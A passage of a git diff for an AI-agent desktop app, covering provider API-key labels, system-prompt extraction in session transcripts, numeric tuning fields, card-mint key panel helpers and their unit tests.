+  assert.equal(getProviderApiKeyLabel("some-unknown-provider"), null);
+});
+
+test("getProviderApiKeyLabel_provider_id_trimmed_and_lowercased", () => {
+  // Mirrors getProviderApiKeyEnvVar normalisation behaviour.
+  assert.equal(getProviderApiKeyLabel(" Anthropic "), "Anthropic API Key");
+});
diff --git a/desktop/src/features/agents/ui/agentConfigOptions.tsx b/desktop/src/features/agents/ui/agentConfigOptions.tsx
index d51c970f29..5c515a0507 100644
--- a/desktop/src/features/agents/ui/agentConfigOptions.tsx
+++ b/desktop/src/features/agents/ui/agentConfigOptions.tsx
@@ -30,6 +30,12 @@ export const PERSONA_FIELD_CONTROL_CLASS =
 export const PERSONA_LABEL_OPTIONAL_CLASS =
   "ml-1 text-xs font-normal text-muted-foreground/50";
 
+/** Shared advanced-fields expand/collapse easing for the agent dialogs. */
+export const ADVANCED_FIELDS_MOTION_TRANSITION = {
+  duration: 0.18,
+  ease: [0.23, 1, 0.32, 1],
+} as const;
+
 export const AUTO_MODEL_DROPDOWN_VALUE = "__auto_model__";
 export const CUSTOM_MODEL_DROPDOWN_VALUE = "__custom_model__";
 export const AUTO_PROVIDER_DROPDOWN_VALUE = "__auto_provider__";
@@ -63,19 +69,30 @@ export type PersonaDropdownOption = {
  *
  * `requiredEnvKeys`: keys that must be present in the agent's effective env for
  *   the provider to work (surfaced as amber required rows in EnvVarsEditor).
- * `secretEnvVar`: the one env key that holds a user-typed secret (API key).
- *   Only set for providers where the credential is a plaintext secret the user
- *   pastes in. Cleared automatically when the user switches away from the
- *   provider. Databricks uses OAuth PKCE (no typed secret), so it has no
- *   secretEnvVar.
+ * `secretEnvVar` + `apiKeyLabel`: paired — either both are present or neither
+ *   is. `secretEnvVar` is the env key holding the user-typed secret; clearing
+ *   it when the user switches providers ensures no orphaned credentials remain.
+ *   Databricks uses OAuth PKCE (no typed secret), so it carries neither field.
+ *   `apiKeyLabel` is the human-readable label shown in the credential field;
+ *   derived by `getProviderApiKeyLabel` — single source of truth for all UI
+ *   surfaces so they never drift.
  *
  * Mirrors the Rust `readiness::buzz_agent_requirements` /
  * `readiness::goose_requirements` logic — keep in sync.
  */
-export type ProviderCredentialConfig = {
-  requiredEnvKeys: readonly string[];
-  secretEnvVar?: string;
-};
+export type ProviderCredentialConfig =
+  | {
+      requiredEnvKeys: readonly string[];
+      secretEnvVar?: undefined;
+      apiKeyLabel?: undefined;
+    }
+  | {
+      requiredEnvKeys: readonly string[];
+      /** The env key holding the user-typed API secret. */
+      secretEnvVar: string;
+      /** Display label for the credential input field, e.g. "Anthropic API Key". */
+      apiKeyLabel: string;
+    };
 
 /**
  * Unified provider credential config table.  Single source of truth for both
@@ -87,20 +104,23 @@ const PROVIDER_CREDENTIAL_CONFIG: Partial<
   anthropic: {
     requiredEnvKeys: ["ANTHROPIC_API_KEY"],
     secretEnvVar: "ANTHROPIC_API_KEY",
+    apiKeyLabel: "Anthropic API Key",
   },
   openai: {
     requiredEnvKeys: ["OPENAI_COMPAT_API_KEY"],
     secretEnvVar: "OPENAI_COMPAT_API_KEY",
+    apiKeyLabel: "OpenAI Runtime API Key",
   },
   "openai-compat": {
     requiredEnvKeys: ["OPENAI_COMPAT_API_KEY"],
     secretEnvVar: "OPENAI_COMPAT_API_KEY",
+    apiKeyLabel: "OpenAI-compatible Runtime API Key",
   },
   databricks: {
     // DATABRICKS_TOKEN is NOT required — OAuth PKCE is the normal path.
     requiredEnvKeys: ["DATABRICKS_HOST"],
-    // No secretEnvVar: DATABRICKS_HOST is a URL, not a secret credential, and
-    // is not cleared on provider switch (unlike API keys).
+    // No secretEnvVar / apiKeyLabel: DATABRICKS_HOST is a URL, not a secret
+    // credential, and is not cleared on provider switch (unlike API keys).
   },
   databricks_v2: {
     // DATABRICKS_TOKEN is NOT required — OAuth PKCE is the normal path.
@@ -113,6 +133,7 @@ const PROVIDER_CREDENTIAL_CONFIG: Partial<
   openrouter: {
     requiredEnvKeys: ["OPENROUTER_API_KEY"],
     secretEnvVar: "OPENROUTER_API_KEY",
+    apiKeyLabel: "OpenRouter API Key",
   },
 };
 
@@ -402,6 +423,31 @@ export function getProviderApiKeyEnvVar(providerId: string): string | null {
   );
 }
 
+/**
+ * Returns the display label for the provider's API key field, if any.
+ * Derived from PROVIDER_CREDENTIAL_CONFIG.apiKeyLabel — single source of truth
+ * for all credential field labels so every surface stays in sync.
+ *
+ * Returns null when the provider has no typed-secret credential (e.g.,
+ * Databricks, which uses OAuth PKCE).
+ */
+export function getProviderApiKeyLabel(providerId: string): string | null {
+  return (
+    PROVIDER_CREDENTIAL_CONFIG[providerId.trim().toLowerCase()]?.apiKeyLabel ??
+    null
+  );
+}
+
+/**
+ * Muted contextual hint for the `OPENAI_API_KEY` row in env editors.
+ * Pass as `keyAnnotations` to every `EnvVarsEditor` that may surface this key
+ * (Agent Defaults, agent edit dialog, persona definition dialog).  Exported
+ * so the constant is defined once and never duplicated across surfaces.
+ */
+export const CARD_MINT_KEY_ANNOTATIONS: Readonly<Record<string, string>> = {
+  OPENAI_API_KEY: "Used for minting agent trading cards",
+};
+
 export function shouldClearKnownModelForSelectionScope({
   model,
   provider,
diff --git a/desktop/src/features/agents/ui/agentSessionTranscript.test.mjs b/desktop/src/features/agents/ui/agentSessionTranscript.test.mjs
index cc6f0467d6..b4a139eb0e 100644
--- a/desktop/src/features/agents/ui/agentSessionTranscript.test.mjs
+++ b/desktop/src/features/agents/ui/agentSessionTranscript.test.mjs
@@ -1879,3 +1879,201 @@ test("buildTranscript five-section system prompt card is standalone with all sec
     "prompt context must NOT contain system-prompt sections (Base/System/Team Instructions/Core Memory/Channel Canvas)",
   );
 });
+
+// --- claude-agent-acp _meta.systemPrompt.append transport ---
+
+test("buildTranscript session/new via _meta.systemPrompt.append produces identical standalone card as bare systemPrompt field", () => {
+  // claude-agent-acp delivers the system prompt at _meta.systemPrompt.append
+  // instead of the bare systemPrompt field. The observer must extract it and
+  // build the identical standalone card (same five sections, same acpSource,
+  // same turnId: null, same placement before the first turn).
+  const CH = "55555555-5555-5555-5555-555555555555";
+  const SYSTEM_PROMPT = [
+    "[Base]",
+    "You are a helpful assistant.",
+    "",
+    "[System]",
+    "Custom persona.",
+    "",
+    "---",
+    "# Team Instructions",
+    "Always tag on handoff.",
+    "",
+    "[Agent Memory \u2014 core]",
+    "I am Duncan.",
+    "",
+    "[Channel Canvas]",
+    "Canvas revision (event ID): a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2",
+    "Last modified: 2026-07-01T10:00:00Z",
+    "Fetch current content with: buzz canvas get --channel 55555555-5555-5555-5555-555555555555",
+  ].join("\n");
+
+  const makeEvents = (params) => [
+    {
+      seq: 1,
+      timestamp: "2026-07-01T10:00:00.000Z",
+      kind: "turn_started",
+      agentIndex: 0,
+      channelId: CH,
+      sessionId: null,
+      turnId: "turn-1",
+      payload: { source: "channel", triggeringEventIds: [] },
+    },
+    {
+      seq: 2,
+      timestamp: "2026-07-01T10:00:00.100Z",
+      kind: "acp_write",
+      agentIndex: 0,
+      channelId: CH,
+      sessionId: null,
+      turnId: "turn-1",
+      payload: { jsonrpc: "2.0", id: 1, method: "session/new", params },
+    },
+    {
+      seq: 3,
+      timestamp: "2026-07-01T10:00:00.200Z",
+      kind: "session_resolved",
+      agentIndex: 0,
+      channelId: CH,
+      sessionId: "sess-cc",
+      turnId: "turn-1",
+      payload: { sessionId: "sess-cc", isNewSession: true },
+    },
+    {
+      seq: 4,
+      timestamp: "2026-07-01T10:00:01.000Z",
+      kind: "acp_write",
+      agentIndex: 0,
+      channelId: CH,
+      sessionId: "sess-cc",
+      turnId: "turn-1",
+      payload: {
+        jsonrpc: "2.0",
+        id: 2,
+        method: "session/prompt",
+        params: {
+          sessionId: "sess-cc",
+          prompt: [
+            {
+              type: "text",
+              text: `[Buzz event: @mention]\nEvent ID: ${"a".repeat(64)}\nFrom: x (hex: ${"b".repeat(64)})\nContent: hello`,
+            },
+            { type: "text", text: "[Thread context]\nPrior messages here." },
+          ],
+        },
+      },
+    },
+  ];
+
+  // Build transcript from the claude-agent-acp _meta transport.
+  const metaEvents = makeEvents({
+    _meta: { systemPrompt: { append: SYSTEM_PROMPT } },
+  });
+  const metaRaw = buildTranscript(metaEvents);
+  const metaBlocks = buildTranscriptDisplayBlocks(metaRaw);
+  const metaFlat = flattenDisplayBlocks(metaBlocks);
+
+  // Also build from the standard bare-field transport for comparison.
+  const fieldEvents = makeEvents({ systemPrompt: SYSTEM_PROMPT });
+  const fieldRaw = buildTranscript(fieldEvents);
+  const fieldBlocks = buildTranscriptDisplayBlocks(fieldRaw);
+
+  // (a) Both produce exactly one standalone system-prompt single block.
+  const metaSPBlocks = metaBlocks.filter(
+    (b) => b.kind === "single" && b.item?.acpSource === "session/new",
+  );
+  const fieldSPBlocks = fieldBlocks.filter(
+    (b) => b.kind === "single" && b.item?.acpSource === "session/new",
+  );
+  assert.equal(
+    metaSPBlocks.length,
+    1,
+    "_meta: exactly one standalone system-prompt block",
+  );
+  assert.equal(
+    fieldSPBlocks.length,
+    1,
+    "field: exactly one standalone system-prompt block",
+  );
+
+  // (b) Both carry the same five ordered sections.
+  const EXPECTED_TITLES = [
+    "Base",
+    "System",
+    "Team Instructions",
+    "Core Memory",
+    "Channel Canvas",
+  ];
+  const metaTitles = (metaSPBlocks[0].item?.sections ?? []).map((s) => s.title);
+  const fieldTitles = (fieldSPBlocks[0].item?.sections ?? []).map(
+    (s) => s.title,
+  );
+  assert.deepEqual(
+    metaTitles,
+    EXPECTED_TITLES,
+    "_meta: five sections in order",
+  );
+  assert.deepEqual(
+    fieldTitles,
+    EXPECTED_TITLES,
+    "field: five sections in order",
+  );
+
+  // (c) System prompt appears before Prompt context in both display orders.
+  const metaSPIdx = metaFlat.findIndex((i) => i.title === "System prompt");
+  const metaPCIdx = metaFlat.findIndex((i) => i.title === "Prompt context");
+  assert.ok(metaSPIdx !== -1, "_meta: System prompt item present");
+  assert.ok(metaPCIdx !== -1, "_meta: Prompt context item present");
+  assert.ok(
+    metaSPIdx < metaPCIdx,
+    `_meta: System prompt (${metaSPIdx}) must precede Prompt context (${metaPCIdx})`,
+  );
+
+  // (d) The _meta item has turnId: null (standalone, not in a turn bucket).
+  const metaSPRawIdx = metaRaw.findIndex((i) => i.title === "System prompt");
+  assert.equal(
+    metaRaw[metaSPRawIdx]?.turnId ?? null,
+    null,
+    "_meta: system-prompt item must have turnId=null",
+  );
+});
+
+test("buildTranscript session/new bare systemPrompt field takes precedence over _meta.systemPrompt.append", () => {
+  // When both transports are present (non-standard but must not regress),
+  // the standard bare field must win — a reversed ?? would silently use the
+  // wrong text and the card body would differ from the wire source of truth.
+  const CH = "66666666-6666-6666-6666-666666666666";
+  const events = [
+    {
+      seq: 1,
+      timestamp: "2026-07-01T10:00:00.000Z",
+      kind: "acp_write",
+      agentIndex: 0,
+      channelId: CH,
+      sessionId: "sess-both",
+      turnId: "turn-1",
+      payload: {
+        jsonrpc: "2.0",
+        id: 1,
+        method: "session/new",
+        params: {
+          systemPrompt: "[Base]\nWinner.",
+          _meta: { systemPrompt: { append: "[Base]\nLoser." } },
+        },
+      },
+    },
+  ];
+
+  const rawItems = buildTranscript(events);
+  const spItem = rawItems.find((i) => i.title === "System prompt");
+  assert.ok(spItem, "System prompt item must be present");
+  const bodies = (spItem.sections ?? []).map((s) => s.body).join("|");
+  assert.ok(
+    bodies.includes("Winner"),
+    "bare systemPrompt must win over _meta.systemPrompt.append",
+  );
+  assert.ok(
+    !bodies.includes("Loser"),
+    "_meta.systemPrompt.append must not appear when bare field is present",
+  );
+});
diff --git a/desktop/src/features/agents/ui/agentSessionTranscript.ts b/desktop/src/features/agents/ui/agentSessionTranscript.ts
index 962290c6ca..e371bf5fc3 100644
--- a/desktop/src/features/agents/ui/agentSessionTranscript.ts
+++ b/desktop/src/features/agents/ui/agentSessionTranscript.ts
@@ -872,14 +872,14 @@ export function processTranscriptEvent(
     } else if (event.kind === "acp_write" && method === "session/new") {
       // The base + persona prompts ride session/new's systemPrompt, framed by
       // the harness as [Base]/[System]/[Agent Memory — core]/[Channel Canvas].
-      // Each session/new event is keyed by (seq, timestamp) — the same dedup
-      // pair used by observerRelayStore — so distinct sessions each retain
-      // their own system-prompt card even across archive rebuilds where two
-      // processes may emit the same seq. turnId: null keeps it out of turn
-      // buckets; acpSource "session/new" lets the display grouper place it
-      // as a standalone card before the session's first turn.
+      // claude-agent-acp uses _meta.systemPrompt.append instead; both paths
+      // produce the same standalone card (turnId: null, acpSource "session/new");
+      // the bare field takes precedence when both are present.
       const params = asRecord(payload.params);
-      const systemPrompt = asString(params.systemPrompt);
+      const metaPrompt = asString(
+        asRecord(asRecord(params._meta).systemPrompt).append,
+      );
+      const systemPrompt = asString(params.systemPrompt) ?? metaPrompt;
       if (systemPrompt) {
         const sections = parseSystemPromptSections(systemPrompt);
         if (sections.length > 0) {
diff --git a/desktop/src/features/agents/ui/agentSnapshotImportDialog.test.mjs b/desktop/src/features/agents/ui/agentSnapshotImportDialog.test.mjs
index 3ddaf19724..a02bb5a825 100644
--- a/desktop/src/features/agents/ui/agentSnapshotImportDialog.test.mjs
+++ b/desktop/src/features/agents/ui/agentSnapshotImportDialog.test.mjs
@@ -9,7 +9,7 @@ import test from "node:test";
 // memoryErrors strings are carried through to a bounded list element with the
 // correct data-testid. No DOM or test renderer is needed.
 
-import { ResultBody } from "./AgentSnapshotImportDialog.tsx";
+import { PreviewBody, ResultBody } from "./AgentSnapshotImportDialog.tsx";
 
 /**
  * Walk a React element tree (breadth-first) and collect all elements that
@@ -71,6 +71,68 @@ function makeResult(overrides = {}) {
   };
 }
 
+function makePreview(overrides = {}) {
+  return {
+    displayName: "TestBot",
+    systemPrompt: "Inspect every boundary before changing code.",
+    avatarUrl: null,
+    memoryLevel: "none",
+    memoryEntryCount: 0,
+    hasSourceAllowlist: true,
+    sourceAllowlistCount: 2,
+    sourceAllowlist: ["a".repeat(64), "b".repeat(64)],
+    manifestJson: '{\n  "format": "buzz-agent-snapshot"\n}',
+    locked: false,
+    ...overrides,
+  };
+}
+
+// ── preview transparency ──────────────────────────────────────────────────────
+
+test("preview_body_discloses_prompt_allowlist_and_full_manifest", () => {
+  const preview = makePreview();
+  const element = PreviewBody({
+    preview,
+    hasMemory: false,
+    memoryLevelLabel: "none",
+    keepAllowlist: false,
+    onKeepAllowlistChange: () => {},
+  });
+  const allText = collectText(element).join(" ");
+
+  assert.ok(allText.includes(preview.systemPrompt));
+  for (const pubkey of preview.sourceAllowlist) {
+    assert.ok(allText.includes(pubkey), `missing allowlist pubkey ${pubkey}`);
+  }
+  assert.ok(allText.includes(preview.manifestJson));
+  assert.equal(
+    findAll(
+      element,
+      (n) => n.props?.["data-testid"] === "agent-snapshot-import-manifest",
+    ).length,
+    1,
+  );
+});
+
+// ── locked-card provenance notice ─────────────────────────────────────────────
+
+test("preview_body_shows_locked_notice_only_for_locked_cards", () => {
+  const lockedNotice = (locked) =>
+    findAll(
+      PreviewBody({
+        preview: makePreview({ locked }),
+        hasMemory: false,
+        memoryLevelLabel: "none",
+        keepAllowlist: false,
+        onKeepAllowlistChange: () => {},
+      }),
+      (n) => n.props?.["data-testid"] === "agent-snapshot-import-locked-notice",
+    );
+
+  assert.equal(lockedNotice(true).length, 1);
+  assert.equal(lockedNotice(false).length, 0);
+});
+
 // ── memory errors detail list ─────────────────────────────────────────────────
 
 test("result_body_renders_memory_errors_list_with_test_id", () => {
diff --git a/desktop/src/features/agents/ui/buzzAgentModelTuningFields.tsx b/desktop/src/features/agents/ui/buzzAgentModelTuningFields.tsx
index 938d5edf5b..7fa87c4e6b 100644
--- a/desktop/src/features/agents/ui/buzzAgentModelTuningFields.tsx
+++ b/desktop/src/features/agents/ui/buzzAgentModelTuningFields.tsx
@@ -9,14 +9,13 @@ import * as React from "react";
 import { Input } from "@/shared/ui/input";
 import { cn } from "@/shared/lib/cn";
 import type { EnvVarsValue } from "./EnvVarsEditor";
+import type { NumericDescriptor } from "../lib/agentConfigCore";
+import { numericTuningPlaceholder } from "../lib/agentConfigCore";
 import {
   AgentDropdownSelect,
   type AgentDropdownOption,
 } from "./agentConfigControls";
 import {
-  BUZZ_AGENT_MAX_CONTEXT_TOKENS,
-  BUZZ_AGENT_MAX_OUTPUT_TOKENS,
-  BUZZ_AGENT_MAX_ROUNDS,
   BUZZ_AGENT_THINKING_EFFORT,
   BUZZ_AGENT_THINKING_EFFORT_VALUES,
   getProviderEffortConfig,
@@ -201,6 +200,98 @@ export function useEffortAutoClear({
   }, [effortValid, currentEffort]);
 }
 
+export type { NumericDescriptor };
+
+const NUMERIC_KIND_LABELS: Record<NumericDescriptor["kind"], string> = {
+  maxOutputTokens: "Max output tokens",
+  contextLimit: "Context limit",
+  maxRounds: "Max rounds",
+};
+
+const NUMERIC_KIND_DESCRIPTIONS: Record<NumericDescriptor["kind"], string> = {
+  maxOutputTokens:
+    "Maximum tokens the LLM may generate per response. Leave blank to inherit.",
+  contextLimit:
+    "Maximum context window tokens tracked before a handoff. Leave blank to inherit.",
+  maxRounds:
+    "Maximum LLM + tool-call rounds per turn. 0 = unlimited. Leave blank to inherit.",
+};
+
+const NUMERIC_KIND_TEST_IDS: Record<NumericDescriptor["kind"], string> = {
+  maxOutputTokens: "numeric-max-output-tokens-input",
+  contextLimit: "numeric-context-limit-input",
+  maxRounds: "numeric-max-rounds-input",
+};
+
+/**
+ * Input `min` attribute per numeric kind.
+ *
+ * - `maxOutputTokens` / `contextLimit`: minimum 1 — the buzz-agent runtime
+ *   rejects 0 for these fields (crates/buzz-agent/src/config.rs:921-928).
+ * - `maxRounds`: 0 is valid (means unlimited).
+ */
+export const NUMERIC_KIND_MIN: Record<NumericDescriptor["kind"], number> = {
+  maxOutputTokens: 1,
+  contextLimit: 1,
+  maxRounds: 0,
+};
+
+/**
+ * Descriptor-driven numeric tuning inputs.
+ *
+ * Renders a grid of number inputs for every numeric descriptor in `descriptors`.
+ * Label and help text are keyed by descriptor kind — the same copy renders on
+ * both the global defaults surface and per-agent dialogs.
+ */
+export function NumericTuningFields({
+  descriptors,
+  envVars,
+  inheritedEnvVars,
+  onEnvVarChange,
+}: {
+  /** Numeric descriptors to render. Empty array → renders nothing. */
+  descriptors: NumericDescriptor[];
+  envVars: EnvVarsValue;
+  inheritedEnvVars: EnvVarsValue;
+  onEnvVarChange: (key: string, value: string) => void;
+}) {
+  if (descriptors.length === 0) return null;
+  return (
+    <div className="grid gap-4 md:grid-cols-2">
+      {descriptors.map((d) => {
+        const key = d.currentPersistence.key;
+        const label = NUMERIC_KIND_LABELS[d.kind];
+        const description = NUMERIC_KIND_DESCRIPTIONS[d.kind];
+        const testId = NUMERIC_KIND_TEST_IDS[d.kind];
+        const inheritedVal = inheritedEnvVars[key];
+        return (
+          <div className="space-y-1.5" key={key}>
+            <label className="text-sm font-medium" htmlFor={testId}>
+              {label}
+            </label>
+            <Input
+              aria-describedby={`help-${testId}`}
+              autoComplete="off"
+              data-testid={testId}
+              id={testId}
+              inputMode="numeric"
+              min={NUMERIC_KIND_MIN[d.kind]}
+              onChange={(event) => onEnvVarChange(key, event.target.value)}
+              placeholder={numericTuningPlaceholder(inheritedVal)}
+              step="1"
+              type="number"
+              value={envVars[key] ?? ""}
+            />
+            <p className="text-xs text-muted-foreground" id={`help-${testId}`}>
+              {description}
+            </p>
+          </div>
+        );
+      })}
+    </div>
+  );
+}
+
 export function BuzzAgentModelTuningFields({
   envVars,
   inheritedEnvVars,
@@ -257,105 +348,6 @@ export function BuzzAgentModelTuningFields({
             blank to inherit from the global or persona default.
           </p>
         </div>
-
-        {/* Max Rounds */}
-        <div className="space-y-1.5">
-          <label className="text-sm font-medium" htmlFor="ba-max-rounds">
-            Max rounds
-          </label>
-          <Input
-            aria-describedby="help-ba-max-rounds"
-            autoComplete="off"
-            data-testid="ba-max-rounds-input"
-            id="ba-max-rounds"
-            inputMode="numeric"
-            min="0"
-            onChange={(event) =>
-              onEnvVarChange(BUZZ_AGENT_MAX_ROUNDS, event.target.value)
-            }
-            placeholder={
-              inheritedEnvVars[BUZZ_AGENT_MAX_ROUNDS]
-                ? `Inherit (${inheritedEnvVars[BUZZ_AGENT_MAX_ROUNDS]})`
-                : "Inherit (agent default)"
-            }
-            step="1"
-            type="number"
-            value={envVars[BUZZ_AGENT_MAX_ROUNDS] ?? ""}
-          />
-          <p className="text-xs text-muted-foreground" id="help-ba-max-rounds">
-            Maximum LLM + tool-call rounds per turn. 0 = unlimited. Leave blank
-            to inherit.
-          </p>
-        </div>
-
-        {/* Max Output Tokens */}
-        <div className="space-y-1.5">
-          <label className="text-sm font-medium" htmlFor="ba-max-output-tokens">
-            Max output tokens
-          </label>
-          <Input
-            aria-describedby="help-ba-max-output-tokens"
-            autoComplete="off"
-            data-testid="ba-max-output-tokens-input"
-            id="ba-max-output-tokens"
-            inputMode="numeric"
-            min="1"
-            onChange={(event) =>
-              onEnvVarChange(BUZZ_AGENT_MAX_OUTPUT_TOKENS, event.target.value)
-            }
-            placeholder={
-              inheritedEnvVars[BUZZ_AGENT_MAX_OUTPUT_TOKENS]
-                ? `Inherit (${inheritedEnvVars[BUZZ_AGENT_MAX_OUTPUT_TOKENS]})`
-                : "Inherit (agent default)"
-            }
-            step="1"
-            type="number"
-            value={envVars[BUZZ_AGENT_MAX_OUTPUT_TOKENS] ?? ""}
-          />
-          <p
-            className="text-xs text-muted-foreground"
-            id="help-ba-max-output-tokens"
-          >
-            Maximum tokens the LLM may generate per response. Leave blank to
-            inherit.
-          </p>
-        </div>
-
-        {/* Context Limit */}
-        <div className="space-y-1.5">
-          <label
-            className="text-sm font-medium"
-            htmlFor="ba-max-context-tokens"
-          >
-            Context limit
-          </label>
-          <Input
-            aria-describedby="help-ba-max-context-tokens"
-            autoComplete="off"
-            data-testid="ba-max-context-tokens-input"
-            id="ba-max-context-tokens"
-            inputMode="numeric"
-            min="1"
-            onChange={(event) =>
-              onEnvVarChange(BUZZ_AGENT_MAX_CONTEXT_TOKENS, event.target.value)
-            }
-            placeholder={
-              inheritedEnvVars[BUZZ_AGENT_MAX_CONTEXT_TOKENS]
-                ? `Inherit (${inheritedEnvVars[BUZZ_AGENT_MAX_CONTEXT_TOKENS]})`
-                : "Inherit (agent default)"
-            }
-            step="1"
-            type="number"
-            value={envVars[BUZZ_AGENT_MAX_CONTEXT_TOKENS] ?? ""}
-          />
-          <p
-            className="text-xs text-muted-foreground"
-            id="help-ba-max-context-tokens"
-          >
-            Maximum context window tokens buzz-agent tracks before a handoff.
-            Leave blank to inherit.
-          </p>
-        </div>
       </div>
     </div>
   );
diff --git a/desktop/src/features/agents/ui/cardMintKeyUtils.ts b/desktop/src/features/agents/ui/cardMintKeyUtils.ts
new file mode 100644
index 0000000000..4364267e60
--- /dev/null
+++ b/desktop/src/features/agents/ui/cardMintKeyUtils.ts
@@ -0,0 +1,75 @@
+import type { CardMintKeyLayer } from "@/shared/api/tauriPersonas";
+
+/**
+ * Pure derivations for the key-setup panel visibility in `AgentCardMintDialog`.
+ *
+ * Extracted so that: (a) the component imports and uses the exact same logic
+ * as the tests verify, and (b) changes to panel conditions are caught by
+ * test failures rather than silently diverging.
+ */
+
+/** Whether the key panel should be shown (setup or user-initiated update only). */
+export function showKeyPanel(
+  keyLayer: CardMintKeyLayer | undefined,
+  editingKey: boolean,
+): boolean {
+  return keyLayer === "none" || editingKey;
+}
+
+/**
+ * Whether the resolved layer is writable from the dialog.
+ * Only `"global"` (and unset/`"none"`) can be updated via the dialog seam.
+ */
+export function isWritableLayer(
+  keyLayer: CardMintKeyLayer | undefined,
+): boolean {
+  return keyLayer === "global" || keyLayer === "none";
+}
+
+/**
+ * Whether the resolved layer cannot be updated from the dialog (key would be
+ * shadowed by the higher-priority layer even if global were updated).
+ */
+export function isReadOnlyLayer(
+  keyLayer: CardMintKeyLayer | undefined,
+): boolean {
+  return (
+    keyLayer === "agent" || keyLayer === "persona" || keyLayer === "process"
+  );
+}
+
+/** Whether the "Cancel" button should be shown (update mode only, with a mint form to return to). */
+export function showCancelButton(
+  keyLayer: CardMintKeyLayer | undefined,
+  editingKey: boolean,
+): boolean {
+  return editingKey && keyLayer !== "none";
+}
+
+/** Whether the "Using your saved OpenAI key · Update" status row should be shown. */
+export function showKeyStatusRow(
+  keyLayer: CardMintKeyLayer | undefined,
+  editingKey: boolean,
+): boolean {
+  return keyLayer === "global" && !editingKey;
+}
+
+/** Whether the read-only provenance row should be shown on the mint form. */
+export function showReadOnlyRow(
+  keyLayer: CardMintKeyLayer | undefined,
+  editingKey: boolean,
+): boolean {
+  return isReadOnlyLayer(keyLayer) && !editingKey;
+}
+
+/** The header title for the key-setup panel. */
+export function keyPanelTitle(
+  keyLayer: CardMintKeyLayer | undefined,
+  editingKey: boolean,
+): string {
+  if (isReadOnlyLayer(keyLayer)) return "OpenAI API key";
+  if (keyLayer === "none") return "One-time setup: OpenAI API key";
+  return editingKey
+    ? "Update OpenAI API key"
+    : "One-time setup: OpenAI API key";
+}
diff --git a/desktop/src/features/agents/ui/personaModelDiscoveryStatus.test.mjs b/desktop/src/features/agents/ui/personaModelDiscoveryStatus.test.mjs
index 23d79aaf7f..548c9ccc0a 100644
--- a/desktop/src/features/agents/ui/personaModelDiscoveryStatus.test.mjs
+++ b/desktop/src/features/agents/ui/personaModelDiscoveryStatus.test.mjs
@@ -21,7 +21,8 @@ test("model discovery status names missing OpenAI-compatible credentials", () =>
   );
 
   assert.equal(status?.tone, "warning");
-  assert.match(status?.message ?? "", /OpenAI API key/);
+  assert.match(status?.message ?? "", /OpenAI runtime API key/);
+  assert.match(status?.message ?? "", /OPENAI_COMPAT_API_KEY/);
   assert.match(status?.message ?? "", /OpenAI models/);
 });
 
diff --git a/desktop/src/features/agents/ui/personaModelDiscoveryStatus.ts b/desktop/src/features/agents/ui/personaModelDiscoveryStatus.ts
index c6991fdd01..b943f6455c 100644
--- a/desktop/src/features/agents/ui/personaModelDiscoveryStatus.ts
+++ b/desktop/src/features/agents/ui/personaModelDiscoveryStatus.ts
@@ -110,7 +110,8 @@ export function formatModelDiscoveryErrorStatus(
 
   if (message.includes("OPENAI_COMPAT_API_KEY required")) {
     return {
-      message: "Enter an OpenAI API key to load OpenAI models.",
+      message:
+        "Enter an OpenAI runtime API key (OPENAI_COMPAT_API_KEY) to load OpenAI models.",
       tone: "warning",
     };
   }
diff --git a/desktop/src/features/agents/ui/respondToFieldContract.test.mjs b/desktop/src/features/agents/ui/respondToFieldContract.test.mjs
index c3efd34650..91b4c6d1f6 100644
--- a/desktop/src/features/agents/ui/respondToFieldContract.test.mjs
+++ b/desktop/src/features/agents/ui/respondToFieldContract.test.mjs
@@ -55,6 +55,16 @@ test("the warning copy comes from the shared helper, not inline text", () => {
   assert.match(collapsedSource, /<p aria-live="polite"[^>]*> \{warningText\}/);
 });
 
+test("the Only me line names the owner's agents, not the owner alone", () => {
+  // The harness gate admits the owner and every verified same-owner agent
+  // (`managed_agents/access_policy.rs`), and the built-in Welcome team depends
+  // on that, so a line promising the owner alone would overstate the boundary.
+  assert.match(
+    collapsedSource,
+    /mode === "owner-only" \? \( <p[^>]*> Only you and your agents can send instructions\./,
+  );
+});
+
 test("primary respond-to copy does not expose implementation jargon", () => {
   const primaryFieldSource = respondToFieldSource.slice(
     respondToFieldSource.indexOf('data-testid="agent-respond-to"'),
diff --git a/desktop/src/features/agents/ui/runOnSummary.test.mjs b/desktop/src/features/agents/ui/runOnSummary.test.mjs
new file mode 100644
index 0000000000..137ce5481a
--- /dev/null
+++ b/desktop/src/features/agents/ui/runOnSummary.test.mjs
@@ -0,0 +1,171 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { humanizeConfigKey, summarizeRunOn } from "./runOnSummary.ts";
+
+test("local backend summarizes to the local location with no rows", () => {
+  assert.deepEqual(summarizeRunOn({ type: "local" }), { location: "local" });
+});
+
+test("provider backend carries the provider id", () => {
+  const summary = summarizeRunOn({
+    type: "provider",
+    id: "kubernetes",
+    config: {},
+  });
+  assert.equal(summary.location, "provider");
+  assert.equal(summary.providerId, "kubernetes");
+  assert.deepEqual(summary.rows, []);
+});
+
+test("a saved kubernetes config renders labeled scalar rows", () => {
+  const summary = summarizeRunOn({
+    type: "provider",
+    id: "kubernetes",
+    config: {
+      namespace: "buzz-agents-x7k2mp",
+      image: "ghcr.io/block/buzz-sprig@sha256:17facfc7",
+      cpu_request: "1",
+      inactivity_seconds: 7200,
+    },
+  });
+  assert.equal(summary.location, "provider");
+  const byKey = Object.fromEntries(summary.rows.map((r) => [r.key, r]));
+  assert.equal(byKey.namespace.label, "Namespace");
+  assert.equal(byKey.namespace.value, "buzz-agents-x7k2mp");
+  assert.equal(byKey.cpu_request.label, "CPU request");
+  assert.equal(byKey.cpu_request.value, "1");
+  assert.equal(byKey.inactivity_seconds.label, "Inactivity seconds");
+  assert.equal(byKey.inactivity_seconds.value, "7200");
+  assert.equal(byKey.image.value, "ghcr.io/block/buzz-sprig@sha256:17facfc7");
+  assert.ok(summary.rows.every((r) => r.redacted === false));
+});
+
+test("rows follow the provider-schema preferred order, spillover alphabetical", () => {
+  const summary = summarizeRunOn({
+    type: "provider",
+    id: "kubernetes",
+    config: {
+      // Deliberately shuffled persisted order.
+      memory_limit: "1Gi",
+      zeta_extra: "z",
+      namespace: "n",
+      cpu_limit: "1",
+      alpha_extra: "a",
+      image: "i",
+      inactivity_seconds: 7200,
+      cpu_request: "1",
+      context: "c",
+      memory_request: "1Gi",
+    },
+  });
+  assert.deepEqual(
+    summary.rows.map((r) => r.key),
+    [
+      "context",
